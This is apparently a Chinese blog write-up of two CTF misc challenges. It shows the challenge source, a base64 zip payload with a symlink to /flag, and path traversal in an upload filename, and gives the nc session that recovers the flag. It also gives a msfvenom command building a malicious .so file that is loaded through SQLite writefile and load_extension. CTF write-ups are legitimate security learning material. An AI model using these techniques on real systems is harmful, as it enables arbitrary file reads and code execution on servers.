本文已参与「新人创作礼」活动,一起开启掘金创作之路。
MISC
sakana_reveage
首先看源码,
#no symlink for it
for zip_info in zipfile.ZipFile(zip_file).infolist():
if zip_info.external_attr >> 16:
print("Hacker!!!")
return
这里如果存在符号链接,则会打印"hacker"并返回 所以我们是无法将zip文件上传到此函数的
ln -s /flag symlink_to_flag.link
zip --symlink flag.zip symlink_to_flag.link
创建符号链接 symlink函数
创建符号链接的语法为:
ln -s <path to the file/folder to be linked> <the path of the link to be created>
zip如何处理符号链接
zip --symlink <path to the file/folder to be linked> <the path of the link to be created>
当这里抛出异常的时候,是继续执行函数的,我们是可以尝试读取/tmp/sakanas.zip的
def sakana_upload():
sakana_file_name = input("Name for your sakana:")
encoded_sakana_content = input("Base64-encoded sakana:")
try:
decode_content = base64.b64decode(encoded_sakana_content)
except binascii.Error:
print("Error base64!")
return
if decode_content == b"":
print("Empty file!")
return
if not decode_content.startswith(b"sakana"):
print("Only sakana files are allowed!")
return
with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
sakana_file_handle.write(decode_content)
在这里是可以进行目录攻击的,我们可以写入文件../../../tmp/sakanas.zip 我们将文件上传到这个目录来读取标志 然后binascii.Error在Upload sakanas of Zip函数中触发 a 时将其解压缩。
文件开头内容必须是sakana的base64解码 所以咱们需要创建一个内容为sakana的sakana文件
cat flag.zip >> sakana
咱们将base64格式的sakana放在开头
#c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA
然后咱们nc 连接靶机
┌──(kali㉿kali)-[~]
└─$ nc 47.93.30.67 57427
_____ //| //| _____ _ ___ ______
/ ____| |// | |// / ____| | / _ \ | ____|
| (___ __ _ | | ____ _ _ __ __ _ | (___ | |_| | | |_ __| |__
___ \ / _` | | |/ / _` | | '_ \ / _` | ___ | __| | | | '__| __|
____) | (_| | | < (_| | | | | | (_| | ____) | |_| |_| | | | |____
|_____/ __,_| |_|___,_| |_| |_|__,_| |_____/ __|___/|_| |______|
1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit
Input your choice
>> 1
Name for your sakana:../../../tmp/sakanas.zip.zip
Base64-encoded sakana:c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA
1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit
Input your choice
>> 2
0 -> symlink_to_flag.link
Select num which sakana to download
>> 0
Here is your sakana file(base64ed)
ZmxhZ3s2U0FVdDJ1VzV2blNKTjZ1VHhhMkpNWVdnUUNhSEZIVn0=
1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit
然后base64解密.
## 5_Misc_m@sTeR_0f
这类题目第一次做,向andy师傅学习 真的太强了。 首先咱们要了解一下什么是telnet telnet它为用户提供了在本地计算机上完成远程主机工作的能力,在终端使用者的电脑上使用telnet程序,用它连接到服务器,终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样,可以本地操控服务器。
题目进去是一个sqlite页面, 属于misc题目 但是为什么是web渗透捏 首先在kali 生成一个so文件 msfvenom -p linux/x64/exec CMD="cat /f*" -f elf-so >/tmp/x.so
利用sqlite的writefile将恶意so文件写入,被过滤文件名需要套上hex,文件内容也用hex写入 用上andy师傅的图
然后用load_extension将内容输出出来